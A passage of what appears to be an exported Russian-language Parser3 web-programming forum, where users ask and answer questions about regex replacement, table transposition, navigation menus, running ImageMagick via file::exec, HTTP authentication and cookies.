очень интересно было бы на ваш класс посмотреть"
"23572","Есть строка замены квадратных скобок в строке temp\
^temp.match[\\[|\\]][g]{$match.match}\
Почему же когда я делаю вот так\
$zameneno[^temp.match[\\[|\\]][g]{$match.match}]\
это не срабатывает и при попытке вывода на странице ничего не появляется."
"23574","старайтесь максимально логически разделить данные. Но не забывайте, что при этом будет расти время реализации. Из этого и выбирайте золотую середину.\
\
что касается цен - я не стал-бы помещать их в виде куска xml в одно поле."
"23575","в документации написано\
match - столбец с подстрокой, совпавшей с шаблоном    \
\
1, 2,…, n   столбцы с подстроками, соответствующими фрагментам шаблона, заключенным в круглые скобки, n - номер открывающей круглой скобки \
\
А у меня же нет круглых скобок...в том смысле что логика тут мной не улавливается...хотя причина и понятна."
"23576","Если не сложно объясните как все-таки результат работы сохранить в переменной."
"23577","В предыдуещей версии все работало нормально, когда установил версию 3.1.1 перестал работать метод FLIP. В новой таблице не появляются названия полей 0, 1, 2, 3, ...\
То есть таблица транспонируется, а вот названия полей не модифицируются. Почему?"
"23578","задача такая: создать класс универсального каталога.\
древовидная структура в основе. так как всё будет выдавать xml\
\
то надо хранить в базе куски xml-> название, описание, фотки.\
касательно цен решил выбрать вариант с отдельной табл. в БД где будет хранится \
\
- id товара — владельца цены,\
- id_price идентификатор типа цены(типы будут хранится в xml файле)\
- value значение цены\
- currency базовая валюта.\
\
а с xml в ценах действительно вариант нехороший.\
\
Я все вопросы дурацкие задаю — нет у меня богатого опыта программирования.\
\
сталкивались вы с такой прблемой если нужно будет вдруг к товарам добавить дополнительный реквизит, например модель авто. что потом делать? не переписывать же заново."
"23579","Как в tab-delimited таблице, загруженной из файла изменить значение, например first присвоить значение 3 и сохранить в файл?\
[code]\
name        value\
first       1\
second      2\
third       3\
[/code]"
"23582","[code]\
^temp.match[(\\[)|(\\])][g]{замен $match.1}\
$temp\
[/code]\
или так может надо квадратные скобки заптичконировать\
[code]\
^temp.match[(\\^[)|(\\^])][g]{замен $match.1}\
$temp\
[/code]\
\
или так\
[code]\
^temp.match[\\[|\\]]['g]{замен $match.match}\
$temp\
[/code]\
\
это все замены \
поиск так:\
[code]\
^if(^temp.match[\\[|\\]]['g]){good}{bad}\
[/code]"
"23583","Я читал.\
А вы можете привести пример?\
Если всё так просто."
"23585","[code]\
$file1[^table::load[iplist.dat]]\
$value[^eval($file1.value+1)]\
$ip[$env:REMOTE_ADDR]\
$file2[^file1.select($file1.ip eq $ip)]\
^file2.append{$ip	$value}\
^file2.save[iplist.dat]\
[/code]\
\
не работает"
"23586","есть там такие слова \
[quote]Если указана опция поиска g, будет создана таблица найденного по шаблону [i](по одной строке на каждое вхождение).[/i] \
При этом не важно, есть в шаблоне круглые скобки или нет.[/quote]\
В результате я и не могу понять...кое же имя будет у таблицы с результатами замены и будет ли это таблица с одним столбцом и кучей строк или куча столбцов и одна строка. И как в этом случае узнавать количество и название столбцов...неужели только через columns?\
\
Если я задаю глупый вопрос, то извините, но я уже два дня не могу понять логику оператора и не моуг заставить его работать."
"23588","[quot]\
кое же имя будет у таблицы с результатами замены\
[/quot]\
\
если идет просто поиск (без замены) - то получим результат в виде таблицы. в доке есть пример:\
[code]\
$str[www.parser.ru?user=admin] \
$mtc[^str.match[(\\?.+)][']] \
^mtc.save[match.txt]\
[/code]\
\
тут таблица называется $mtc\
\
если происходит замена то будет создана локальная таблица $match доступная внутри кода замены. это тоже проиллюстрировано в документации:\
\
[code]\
$str[2002.01.01] \
^str.match[(\\d+)\\.(\\d+)\\.(\\d+)][g]{Год $match.1, месяц $match.2, число $match.3}\
[/code]\
\
тут создается таблица match которая доступна внутри блока замены.\
\
[quot]\
будет ли это таблица с одним столбцом и кучей строк или куча столбцов и одна строка\
[/quot]\
\
при поиске (нет замены) если используется опция g и круглые скобки \
то в результирующей таблице будет куча строк в каждой строке несколько столбцов. в случае, если в шаблоне у нас три круглые скобки (запоминание найденного) то как минимум будут столбцы с именами '1', '2' и '3'. если при этом у нас есть опция ' то будут еще и спец-столбцы prematch, match и postmatch (см доку).\
\
в случае поиска и замены для каждого найденного вхождения в $match будет таблица из одной строки и кучки столбцов (таки-же как я описал чуть выше)\
\
[quot]\
как в этом случае узнавать количество и название столбцов...неужели только через columns\
[/quot]\
\
лично мне никогда не требовалось искать названия этих столбцов, т.к. шаблон поиска пишу я, я знаю сколько я там написал крубгых скобок, соответственно знаю сколько там будет столбцов и каковы будут их имена. но если вам очень нужно - columns вам в руки.\
\
P.S. есть кое что что я не описал, но что есть в доке (например земена без крубгых скобок с опцией g и др.)\
\
P.P.S. не разу не находил нужным для себя опцию ' поэтому детали её работоспособности поведать не могу. RTFM"
"23589","надо же вообще все строки копировать!\
а не только найти и заменить одну... и как я понимаю \
в ^file2.append{$ip$value} между $ip и $value надо поставить табулированный пробел :) (если я правильно выразился)"
"23591","1. eq исправил на ne\
2. там стоит табуляция"
"23592","поправлена одна нехорошая вещь :)"
"23594","XML на основе данных из базы"
"23595","тебе я по аське отправил соображение про еще одну фигню обнаруженную в нем..."
"23596","только что кинули по ICQ:\
http://ipb.tdesign.ru/index.php?showtopic=208\
[quote]\
хех)) вот у меня мечта сделать мою студию номер один в России и переплюнуть Лебедева)) \
ссылки по теме: \
№1 stilelibero.ru \
№2 artlebedev.ru\
[/quote]"
"23597","1. Исходные данные\
2. Код\
3. Результат"
"23598","одна строка поменялась\
[code]\
#	$.session_lifetime(14)		- время хранения записей в табличке asession, дней\
[/code]\
Причем закомментированная. И в чем здесь фишка,\
извините, но я не въезжаю :)\
\
По умолчанию-то все равно 3:\
[code]\
# время хранения записей в табличке asession (дней)\
$session_lifetime(^lparams.session_lifetime.int(3))\
[/code]"
"23599","и еще... спасибо за это сообщение, т.к. время жизни сессии я тоже увелилил сегодня, но... как-то криво %-)\
\
время жизни сессии стало можно увиличивать т.к. я теперь при каждом чихе не создаю новую сессию. \
\
там еще один нехороший момент я нашел, в ближайшее время поправлю."
"23600","Просто я думал что что-то ещё нашлось, - как оказылось да. Ждемс исправлений."
"23601","[quote]\
Я духов вызывать могу из бездны.\
\
И я могу, и каждый может,\
\
Вопрос лишь, явятся ль на зов они?\
[/quote]\
Шекспир, Король Генрих IV"
"23603","Исходная таблица\
piece\
raz\
dva\
tri\
\
После транспонирования в новой версии:\
piece\
raz   dva   tri\
\
Должно быть на выходе:\
0   1   2\
raz   dva   tri\
\
Код примера:\
^tabl.flip[]"
"23604","если приходили грабить сайт каким-нить телепортом то создавалось бешеное количество записей в asession.\
\
они потом удалялись но... на фига их создавать если они не нужны?\
\
теперь не создаются."
"23605","Код из доки:\
[code]\
$emergency[^table::create{id\
fire\
police\
ambulance\
gas}]\
\
$fliped[^emergency.flip[]]\
^fliped.save[fliped.txt]\
[/code]\
Во fliped.txt все что нужно"
"23606","Сообщи, пожалуйста, какая версия Parser при этом примере!\
Меня интересует только версия 3.1.1."
"23607","Версия другая, но в ChangeLog я не видел чтобы правилось что-то касаемо flip, может смотрел не туда."
"23608","Вот код, который не был тронут.\
Только заменена версия Parser на 311.\
\
$_res[$request:uri] \
$_tres[^_res.lsplit[/]] \
$_fres[^_tres.flip[]]\
\
$_fres.1\
\
Parser выдает ошибку: отсутствует колонка 1."
"23609","что-то тут 8-ая нормальная форма уже какая-то получается :-)\
если нужна древовидная структура, то это не обязательно XML\
дерево можно и в базе хранить\
\
а вот насчет добавления атрибута - это прекрасная задача :-)\
самый простой вариант - использовать таблицу с описаниями полей\
можно и в XML-формате хранить (по барабану вообще где это все хранить)\
а вообще иногда легче 5 рахз переписать, чем делать супер-универсальную хрень..."
"23610","Доставать чистую 3.1.1 лениво :) попросите кого-нибудь ещё"
"23612","http://www.parser.ru/forum/?id=19122"
"23614","Продолжу топик...\
Насколько мне известно, загрука сервера не зависит от используемой в проекте технологии, а по большей части от самого сервера, от его конфигурации, от аппаратной части в конце концов. Разве я не прав?"
"23615","Степан, что [b]конкретно[/b] вы хотите узнать?\
\
С учётом того, что весь функционал Парсера достаточно хорошо описан в документации, а с ColdFusion здесь знаком далеко не каждый."
"23616","но на практике - попробовал я в своё время позаморачиваться с Apache Tomcat и прочей фигнёй на сервлетах - запустил системный монитор, очи мои неслыханно округлились от увиденного, после этого я больше про java не вспоминал. Парсер на тех же задачах, создаёт нагрузку в десятки, а даже и в сотни раз меньшую чем java stuff, во всяком случае под Windows."
"23617","> общем .. (сейчас меня могут запинать) Parser - любительская технология. тчк.\
Гхм. \
Есть предложение писать все в машинных кодах.\
Индикатор профессиональности и производительности сервера аж зашкалит."
"23618","[code]\
$file1[^table::load[iplist.dat]]\
$file2[^table::create{ip > value}]\
^file1.menu{\
  ^file1.append{$file1.ip > ^if($file1.ip eq $env:REMOTE_ADDR){^eval($file1.value+1)}{$file1.value}}\
}\
[/code]\
все \">\" заменить на табуляции.\
код не проверял, писал здесь."
"23619","Допустим, есть проект крупного интернет-магазина с очень большим каталогом, множеством функций и т. д. Что-то по типу Ozon.ru. Возникает вопрос: что будет выгодней с точки зрения как производительности, так и функциональности - разрабатывать исходное ядро на Parser или на ColdFusion.\
\
Проще: возможно ли средствами Parser добиться тех же результатов что и на CF?"
"23620","что есть\
sections.cfg\
\
section_id	name	uri\
1	Главная	/\
2	Новости	/news/\
3	О компании	/okom/\
\
auto.p\
\
\
@main[] \
^header[] \
^body[] \
^footer[]\
\
@navigation[]\
$sections[^table::load[/sections.cfg]]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr  bgcolor=\"#FFFFFF\"> \
   ^sections.menu{ \
      ^navigation_cell[] \
   } \
   </tr> \
</table> \
<br> \
\
@navigation_cell[] \
$cell_width[^eval(100\\$sections)%] \
^if($sections.uri eq $request:uri){ \
   <td width=\"$cell_width\" align=\"middle\" bgcolor=\"#A2D0F2\">  \
   <nobr>$sections.name</nobr> \
   </td> \
}{ \
   <td width=\"$cell_width\" align=\"middle\">  \
   <a href=\"$sections.uri\"><nobr>$sections.name</nobr></a> \
   </td> \
}\
\
@footer[]\
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"0\"> \
   <tr> \
      <td></td> \
   </tr> \
</table> \
$now[^date::now[]]\
<font size=\"-3\"> \
<center>Powered by Parser3<br>1997-$now.year</center> \
</font> \
</body>\
</html>\
\
\
@header[] \
\
<html> \
<head> \
<title>Тестовый сайт Parser3</title> \
</head> \
<body bgcolor=\"#FAEBD7\"> \
<table width=\"100%\" border=\"0\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#FFFFFF\" height=\"60\"> \
      <td align=\"middle\"> \
         <font size=\"+2\"> <b>^greeting[]</b></font> \
      </td> \
   </tr> \
</table> \
<br>\
\
\
@body[]\
\
^navigation[] \
<table width=\"100%\" height=\"65%\" border=\"1\" bgcolor=\"#000000\" cellspacing=\"1\"> \
   <tr  bgcolor=\"#ffffff\" height=\"100%\"> \
      <td width=\"30%\" valign=\"top\" bgcolor=\"#EFEFEF\"> \
         <b>^body_additional[]</b>\
         \
\
      </td> \
      <td width=\"70%\" valign=\"top\"> \
         ^body_main[]\
         \
         \
          \
      </td> \
   </tr> \
</table> \
<br>\
\
index.htm\
\
@greeting[] \
Добро пожаловать! \
\
@body_additional[] \
Главная страница сайта \
\
@body_main[] \
Основное содержание\
\
\
\
Подразделы:\
/ocomp\
/news\
/classes  (здесь находятся классы)\
\
Задача: в корневом _root.cfg прописывать разделы всего сайта\
А в каждом разделе в файле - _secton.cfg прописывать подразделы сайта и просто страницы\
\
Чтобы класс tnavigatoin.p\
Сам формировал вверху основное меню разделов всего сайта а при заходе на какой-либо раздел в левой колонке этот класс создавал меню текущего раздела\
\
согласно написанному в   http://www.parser.ru/forum/?id=6732 \
\
кидаю в /ocom      файл _secton.cfg:\
\
uri	title\
biz/	Бизнес\
prod/	Продукция\
\
\
\
а в /news  файл _secton.cfg:\
\
uri	title\
comp/	Компания\
me/	О себе\
\
в корневом делаю файл  _root.cfg:\
\
uri	title	status	image	aimage\
/ Главная\
/news/	Новости\
/ocom/	Компания\
\
/admin/	Администрирование сайта	admin\
\
\
и в auto.p\
\
в @body[]\
\
прописываю:\
  $nav[^TNavigation::Init[]]\
  ^nav.ShowSecondNav[]\
\
результат:\
Unhandled Exception (Debug)\
class is undefined\
TNavigation\
t:/home/nav/www/auto.p(61)\
exception.type=parser.runtime \
 \
body t:/home/nav/www/auto.p(3)\
\
я так понимаю что класс не определен.\
\
Хорошо, моё следующее действие: \
определяю класс:\
\
В начале корневого auto.p  сразу после:\
\
@main[] \
^header[] \
^body[] \
^footer[]\
\
прописываю:\
\
@USE \
/classes/tnavigation.p\
\
\
Результат:\
\
Unhandled Exception (Debug)\
t:/home/nav/www/auto.p(8:1): 'USE ' invalid special name. valid names are 'CLASS', 'USE' and 'BASE'\
exception.type=parser.compile\
\
\
такое ощущение что не понравился пробел после USE      -    'USE '\
убираю пробел\
\
Результат:\
Открывается начальная страница без ошибок &#61514;\
\
И где я вставлял \
  $nav[^TNavigation::Init[]]\
  ^nav.ShowSecondNav[]\
 там идет путь от начальной до файла \
ссылка > ссылка>…\
\
поскольку это начальная страница то стоит ссылка   nav ( почему то nav а не начальная)\
При переходе по ссылке «Новости» в главном меню попадаю на сайт новостей\
И стоит адрес:\
nav> новости\
но при переходе по ссылке «Компания» \
после nav> слова «компания» нет\
\
и где меню подраздела????!!!????\
Подскажите где я не прав"
"23621","Почему класс $status:rusage не работает в последней версии Парсера под Windows 98?"
"23622","В той ветке, где Вы нашли этот код речь шла о реализации так называемой [url=http://www.artlebedev.ru/kovodstvo2/sections/49/]\"дублирующей навигации\"[/url] [другие названия: вторичная навигаци, градусник, хлебные крошки]. И, приведенный класс, решает именно эту задачу. Методов, создающих навигацию в конкреном разделе в этом классе нет, да собственно и не планировалось поскольку на разных сайтах ее приходится делать по-разному. :)"
"23623","Что это почти претендент в клоны:\
\
http://home.tdesign.ru/\
\
и допустим \
\
http://www.alfastrah.ru/about/"
"23624","Но как всетаки это сделать? подскажите.\
причем чтобы все бралось из тех же файлов _root.cfg и _section.cfg \
Скорее всего что то в классе tnavigation.p необходимо добавить, но у меня слишком мало опыта.\
\
Приведенный пример работает полностью - все настроил :-) теперь нужна левая менюшка :-("
"23625","Я учавствовал в разработке \
( здесь я отодвигаюсь от стола и начиная\
бить себя пяткой в грудь :)\
проекта Java + JSP (сервер Resin)\
содержащего больше 4 Мб исходников.\
Реально работающего на разных платформах,\
с разными серверами БД, содержащего\
механизм контроля версий, документирования -\
другими словами - технологически продвинутого.\
Я видел другие крупные проекты на Java.\
Поэтому у меня есть уверенность, что Java+JSP\
это не просто фигня, а технология, на которую\
можно положиться.\
\
В случае Парсера, я не знаю о продуктах\
такого масштаба. Увидев в примерах класс авторизация\
на Парсере я очень порадовался. Кроме того,\
что он на порядок содержательней остальных\
примеров, он является компонетом более\
крупного программного продукта, а, значит,\
такие продукты есть!\
\
Ни что не дает такой уверенности в технологии,\
как факт существования инвестора, вложившего в нее\
миллион денег и получившего прибыль.\
Аргументы про открытые исходники, удобную реализация\
объектов и тому подобные звучат не так убедительно.\
( я конечно утрирую :)\
\
Спасибо за внимание!"
"23627","[quote]\
Поэтому у меня есть уверенность, что Java+JSP\
это не просто фигня, а технология, на которую\
можно положиться.\
[/quote]\
Это как? По-моему, по-русски говорят - Поэтому у меня есть уверенность, что Java+JSP это не просто фигня, а суперфигня ... :) А если смысл другой, то [b]не[/b], стоит не в том месте :)"
"23629","Здравствуйте.\
Пытаюсь вызвать convert из ImageMagick, но вот никак...\
Если я вызываю конструкцию\
[code]\
^file::exec[...\
[/code]\
то получаю всегда\
[code]\
contains illegal assignment attempt of file to MAIN method_frame, use constructor\
[b]exec[/b]\
[/code]\
Есл вызываю\
[code]\
$file[^file::exec[...\
[/code]\
то ошибка не вылазиет, однак нужного результата тоже нет.\
пробывал всякие комбинации\
[code]\
$file[^file::exec[/usr/bin/convert -scale 150 /полныйпут/1.jpg /полныйпусть/1_small.jpg]]\
\
$file[^file::exec[/usr/bin/convert;;-scale 150;/полныйпут/1.jpg;/полныйпусть/1_small.jpg]]\
\
$file[^file::exec[/usr/bin/convert;;-scale;150;/полныйпут/1.jpg;/полныйпусть/1_small.jpg]]\
\
$file[^file::exec[/usr/bin/convert;;-scale 150;/полныйпут/1.jpg /полныйпусть/1_small.jpg]]\
[/code]\
^file::cgi тоже не работает...\
Я озадачен. Как быть? Помогите пожалуйста."
"23630","2. что видите\
3. что ожидаете увидеть"
"23632","Класс из примера в руководстве (с моими комментариями).\
[code]\
@rusage[comment][v;now;prefix;message;line;usec] \
$v[$status:rusage]\
$now[^date::now[]] \
$usec(^v.tv_usec.double[]) \
$prefix[[^now.sql-string[].^usec.format[%06.0f]] $env:REMOTE_ADDR: $comment] \
<p>\
   $prefix<br />\
   Время, затраченное процессом: $v.utime<br />\
   Время чтения файлов: $v.stime<br />\
   Память, занимаемая процессом: $v.maxrss<br />\
</p>\
$message[$v.utime $v.stime $request:uri] \
$line[$prefix $message ^#0A] \
^line.save[append;/logs/rusage.log]\
[/code]\
\
В результате выполнения:\
[code]\
^rusage[start]\
... - какой-нибудь блок (я пробывал на $table.menu{})\
^rusage[end]\
[/code]\
...выдает пустые значения полей $status (то же и в логах)."
"23633","поправил(скоро выложу) комментарий к куску документации:\
\
Не все операционные системы умеют возвращать эти значения (WinNT/Win2000/WinXP умеет все, Win98 умеет только tv_sec и tv_usec [3.0.8]).\
\
возможно, и под Win98 это возможно, но Студии это не было нужно. даже имеющуюся поддержку WinNT/Win2000/WinXP я встроил, поскольку мне был прислан готовый кусок (спасибо to: Виктор Федосеев <vvf_ru@mail.ru>)."
"23634","использовали вы link_tables?\
\
а то из-за этой заложеной но ни разу не использованной функциональности мне совсем не нравится метод очищающий таблицу с сессиями."
"23635","У меня есть небольшой пример дублирующей навигации. Структура файла tab-delimited должны быть примерно следующая:\
[code]\
uri         title\
/news/      Новости\
/about/     О компанияя\
/services/  Услуги\
/contacts/  Контакты\
[/code]\
\
Уровень вложенности - любой. Лучше, конечно, работать с XML-структурой.\
\
Теперь, собственно, сам метод:\
[code]\
# определяем URI текущего раздела\
$FULL_URI[$request:uri]\
$URI[^FULL_URI.match[\\?.*][g]{$match.1}]\
\
# загружаем меню сайта и ищем заголовок текущего раздела\
$root[^table::load[/root.cfg]]\
^if(^root.locate[uri;$URI]){\
   $TITLE[$root.title]\
}\
\
@navigation[]\
# если это главная страница - не выводим навигацию\
^if($URI ne \"/\"){\
   <a href=\"/\">На главную страницу</a>\
   \
   ^rem{### разбиваем URI по \"/\" ###}\
       $spl[^URI.split[/;h]]\
       $navigation[^spl.flip[]]\
	\
   ^rem{### в цикле перебираем строки таблицы меню $root ###}\
       $link[/]\
       ^for[i](1;^eval(^navigation.count[]-2)){\
            $link[${link}$spl.$i/]\
            $i($i+1)\
            ^if(^root.locate[uri;$link]){\
                &nbsp^;/&nbsp^; <a href=\"$root.uri\">$root.title</a>\
            }\
       }\
       ^rem{### в конце добавляем название текущего раздела ###}\
       &nbsp^;/&nbsp^; $TITLE\
}\
[/code]"
"23636","Спасибо stepan \
\
Я уже сам разобрался с тем примером который привел в ссылке, просто я думал что это пример создания дополнительного меню слева. А это оказался \"градусник\"\
теперь пытаюсь сделать левое меню из тех же файлов _root  и _section.cfg..."
"23637","_test.html отрабатывает корректно\
На сервер был переписан сайт который корректно работал под Linux-ом, но тут возникла проблема. Удалось установить что падение парсера происходит при возникновении exception в каком-либо месте программы. Если exception не возникал то всё работало нормально.\
ОС FreeBSD 4.8 release, web-сервер apache 2.0.44\
Сообщение в httpd-error.log\
[Wed Nov 26 13:32:09 2003] [error] [client 192.168.120.45] Premature end of script headers: parser3.cgi\
В чём может быть проблема? Что посоветуете, уважаемые?"
"23638","Если нужен универсальный класс, думаю,\
лучше поступить по-другому. Есть стандартный\
идеалогия, когда объект посылает события всем\
зарегистрированным \"слушателям\" :)\
К объекту прилагается интерфейс для \"слушателя\".\
( Я не знаю, как перевести EventListener )\
Сам объект имеет методы для добавления и удаления\
этих самых, короче вы поняли :)\
Можно прямо так и сделать.\
Потому как не очень хорошо в классе,\
отвечающем за авторизацию делать что-то еще\
(к авторизации отношения не имеющее).\
\
А можно вообще ничего не делать, потому\
как никто не запрещает переопределить метод очистки\
сессии в унаследованном классе,\
либо описать триггер или ограничение целостности\
в базе так, чтобы нужные таблицы очищались автоматически.\
\
\
Думаю, что\
\
link_tables можно смело убирать.\
\
Спасибо!"
"23639","Устранил проблему переустановив более свежую версию ImageMagick. В свежей версии LZW компрессия в GIF-файлах уже включена по-умолчанию.\
Смотрим [url=\"http://www.spearance.ru/parser3/pictures/\"]пример[/url] и тестируем."
"23640","Думаю Миша не от хорошей жизни не закладывал использование этих механизмов - их нет в MySQL, в текущей стабильной версии, под которую этот класс, в основном и затачивался."
"23643","а может ппробовать taint использовать для строки адреса, где есть кирилица"
"23646","Cделал .sh\
[code]\
#!/bin/sh\
convert -scale 150 ./photos/$1 ./photos/small/$2\
[/code]\
проверил, из консоли работает.\
сделал .html'ку\
[code]\
$file[^file::exec[/../gallery/scaling.sh 1_1.jpg 1_1_small.jpg]]\
[/code]\
Путь вроде правильный... скрипт через веб доступен по http://host/gallery/scaling.sh Файл html тоже лежит там же, но однако $file.status отдаёт 254 и нефика не выполняется скрипт :("
"23647","/../gallery/scaling.sh означает, что \"от DOCUMENT_ROOT поднимаемся на один уроверь вверх (оказываемся вне веб пространства) затем заходим в каталог gallery и пытаемся выполнить находящийся там скрипт scaling.sh\"\
\
однако соглавно написанному вами:\
[quot]\
скрипт через веб доступен по http://host/gallery/scaling.sh\
[/quot]\
ваш скрипт лежит [b]в[/b] веб пространстве, поэтому начальных ../ не нужны\
\
про передачу параметров смотрите документацию"
"23649","1. когда вы находитесь в shell, у вас одно значение переменной окружения path, у процесса parser: другое. даже если он работает от того же пользователя, что и вы, ведь веб-сервер не запускает *rc файл, где у вас, вероятно, к path добавлен ~/xxx/bin.\
\
соответственно, в вашем scaling.sh файле укажите полный путь, и всё будет в порядке.\
\
2. не кладите никакие .sh скрипты в веб-пространство, если не хотите проблем. вполне можно положить их, скажем, в /../exec/"
"23650","Если вы готовы инвестировать соответствующий бюджет - не заморачивайтесь и делайте всё на ColdFusion, очень может быть что на разработку уйдёт меньше времени и результат будет обладать лучшей производительностью.\
\
Это не ответ на ваш вопрос, а просто моё скромное мнение на основе экспресс-анализа технологии, с которой я совершенно не знаком."
"23651","Здравствуйте\
Вот такая последовательность операторов\
$response:status[401]\
$response:www-authenticate[Basic realm=\"Intranet\"]\
не приводит к появлению стандартного окна браузера.\
\
Есть какие-нибудь комментарии. Форум просмотрел"
"23652","окошко, это хорошо, но мало: пользователь заполняет это окошко, Enter, browser передаёт специальный заголовок с f(пользователь:пароль), но…\
apache не передаёт в cgi скрипты этот заголовок http запроса."
"23653","Вариант с mod_mysqlauth совершенно нормальный вариант авторизации.\
У меня в данном случае скорее академический интерес. Parser у меня скомпилирован как модуль Apache и мне хотелось посмотреть формирование HTTP заголовков. Так вот, неясно, почему приведенная мной последовательность операторов не привела к появлению окна браузера для   ввода логина и пароля"
"23654","достаточно простой синтаксис + интегрированная среда разработки + возможно, большое количество готовых програмных решений = скорость разработки.\
\
собственный навороченый сервер с поддержкой всяких функций типа распределения нагрузки = производительность.\
\
ну и множество мелких фичей типа планировщика задач, поддержки приёма почты и протоколов типа FTP...\
\
а так - ничего особенного, как за такие бабки...  :-\\"
"23655","Правильная строка с RewriteCond выглядит так:\
\
RewriteCond [color=red]%[/color]{REQUEST_FILENAME} !-f\
\
Сорри... ;-)"
"23656","Допустим, что финансовый вопрос - не проблема. Меня мучает вопрос - насколько производительней будет проект на CFML в отличии от Парсера? Намного ли? CF - штука навороченная, поэтому я смотрю достаточно косо в её сторону. Знаете, это как мой старый компьютер - столько всего понатыкано, что система просто не справляется... Хорошо, что он сгорел..."
"23657","Закачиваю стандартный дамп базы, пути к нему пробовал указывать разные, и относительные, и абсолютные:\
\
^connect[$SQL.connect-string]{ \
^void:sql{LOAD DATA LOCAL INFILE \"db.sql\"} \
}\
\
Появляется ошибка:\
\
You have an error in your SQL syntax near '' at line 1\
\
А почему?"
"23658","А кто будет указывать параметры db.sql?\
MySQL не в курсе, чем у вас разделены поля, экранированны служебные символы ...\
Почитайте документацию MySQL"
"23659","Пишу на Perl, C, ненавижу php =)\
Случайно наткнулся на parser, попробовал - супер, синтаксис\
довольно приятный, легко осваиваемый, конструкции поняты\
такой качественный мост м/у высокоуровневыми задачами, быстро компиляющимися в бинарники да + еще удаленная загрузка файла +\
кэширование, мне очень понравилось, щаз пишу на парсере web-приложухи - выгодно быстрее и удобнее, интерпретация по сравнению с Perl`ом идет намного быстрее. \
\
Респект авторам Parser! Держать в том же духе!\
\
Теперь вопрос:\
Че-то копал документацию \
   (кстати хорошо составлена на редкость\
    даже чайнику по-моему можно научится чуть-ли не \
    CGI-роботов писать ;)\
не нашел оператора принудительного выхода из цикла, или метода подобного циклу(^table.menu-например) ну там типа break.\
\
То есть я, например хочу:\
\
$flag(0)   #Сброс флага на признак заполнености всех полей\
\
^mytable.menu{\
    ^if(!def $mytable.value){ \
                 $flag(1)  #Замечен признак не заполненого поля\
                 ^break[]  #Выходим нафиг,экономя проц.время\
                             }\
}"
"23660","... прекрасно подойдет ^table.locate[]...\
[code]\
^if(^mytable.locate(!def $mytable.value)){\
  $flag(1)\
}{\
   $flag(0)\
}\
[/code]\
\
Вроде в планах были и break и continue, но, как показала практика, необходимость в них отсутствует."
"23661","Неужто нельзя положить в куку структуру данных...\
\
что-нить типа...\
\
my $a = {name=>'vasya', family=>'pupkin'};\
$cookie = $query->cookie(-name=>'mycookie', -value=>$a,);\
print $query->header(-cookie=>$cookie);\
\
тока на Парсере?"
"23662","Судя по документации, если параметры не определены, им по умолчанию придаются следующие значения:\
\
FIELDS TERMINATED BY '\\t' ENCLOSED BY '' ESCAPED BY '\\\\'\
\
А если у меня будет в файле одна команда create table, без текста, там еще меньше этого надо, так?\
\
Кто-нибудь вообще пользовался таким способом?\
\
И как добавляются доп. параметры? У меня появляется:\
\
method of void (stateless_class) accepts maximum 1 parameter(s)  type: parser.runtime"
"23663","Я на одно сервере пересобрал последнюю версию с поддержкой LZW, но еще не проверил работоспособность, ну думаю - всё ок. Жаль на другом нет возможности пересобрать :(\
Кстати jpg на http://www.spearance.ru/parser3/pictures/ 11кб весит, imho много для такой картинки маленькой :)"
"23665","Как то давеча Александр писал что ему не нравятся эти операторы, поэтому он их и не реализовал.\
\
Думаю причина в том, что они создают неочевидные пути выполнения кода и таким образом затрудняют чтение и понимание чужого кода. Хотя бывает (редко) что без них получается некрасиво."
"23666","простите, я не увидел слова \"не\". насколько мне известно, заставить можно, но не вижу смысла тратить на это усилия, если всё равно ответ посетителя \"пользователь:пароль\" вам из parser не доступен.\
\
встроить поддержку стандартной HTTP авторизации в mod_parser3 и isapi_extension можно. \
\
Студия сейчас использует, в основном, cgi вариант с кэшированием — этого вполне достаточно даже для очень загруженных машин. ещё загруженнее: есть внешние несложно устанавливаемые акселераторы. см. mod_accel.\
\
стандартную авторизацию мы делаем, создавая .htpasswd файл, см. пример к ^math:crypt в документации.\
\
эта схема проста и эффективна."
"23668","я бы даже сказал,\
[code]\
$ЧтоТоНеЗаполнено(^mytable.locate(!def $mytable.value))\
[/code]\
\
Crypto, я знаю, можно придумать пример, где нельзя будет так красиво, но, уверен, вы меня поняли: в ряде случаев можно написать изящнее без всяких break/continue.\
\
если очень нужно, в какой-то части случаев поможет silent exception (термин из Delphi):\
\
[code]\
^try{\
    что-то\
    ^throw[stop;now]\
}{\
    $exception.handled($exception.type eq stop)\
}\
[/code]\
но не во всех: тело try{...} при этом не будет выведено."
"23669","Вы приводите какие-то загогулины и делаете какой-то странный вывод не объясняя обстоятельно, что к чему.\
\
Зачем запихивать в cookie структуры данных непонятно и делить неделимое там, где это совсем ненужно. Если проводить аналогию с БД это нарушение 1-й нормальной формы, которое приводит к запутанному, избыточному и неочевидному коду, и далее приведёт к кошмару в сопровождении (есть опыт).\
\
А вообще - если встаёт такой вопрос, то что-то не так в постановке задачи и реализации.\
\
Кроме того, вдруг кому-нибудь взбредёт в голову запихать туда очень большую и сложную структуру, которая вылазит за пределы 4-х кило, тогда можно напороться на подобное:\
\
RFC 2109 http://www.cis.ohio-state.edu/cgi-bin/rfc/rfc2109.html\
[quote]\
6.3 Implementation Limits\
\
    Practical user agent implementations have limits on the number and size of cookies that they can store. In general, user agents' cookie support should have no fixed limits. They should strive to store as many frequently-used cookies as possible. Furthermore, general-use user agents should provide each of the following minimum capabilities individually, although not necessarily simultaneously:\
\
      * at least 300 cookies\
\
      * at least 4096 bytes per cookie (as measured by the size of the\
        characters that comprise the cookie non-terminal in the syntax\
        description of the Set-Cookie header)\
\
      * at least 20 cookies per unique host or domain name\
\
    User agents created for specific purposes or for limited-capacity devices should provide at least 20 cookies of 4096 bytes, to ensure that the user can interact with a session-based origin server.\
\
    The information in a Set-Cookie response header must be retained in its entirety. If for some reason there is inadequate space to store the cookie, it must be discarded, not truncated.\
\
    Applications should use as few and as small cookies as possible, and they should cope gracefully with the loss of a cookie.\
[/quote]"
"23671","Есть задача реализовать сетевую программу.\
Хочу сделать с использованием Парсера.\
Подскажите пожалуйста, есть ли какие веб-серверы (желательно маленькие, быстрые, бесплатные) под Windows, где можно также легко установить парсер как под основными грандами - IIS и Apache?"
"23672","Пробовал запускать еще под Sambar - работает, но он не маленький и не бесплатный. В Вин98 есть ПВС."
"23674","Apache в минимальном наборе весит 417 килобайт. Оставьте \
\
[code]|   Apache.exe\
|   ApacheCore.dll\
|   Win9xConHook.dll\
+---CONF\
|       httpd.conf\
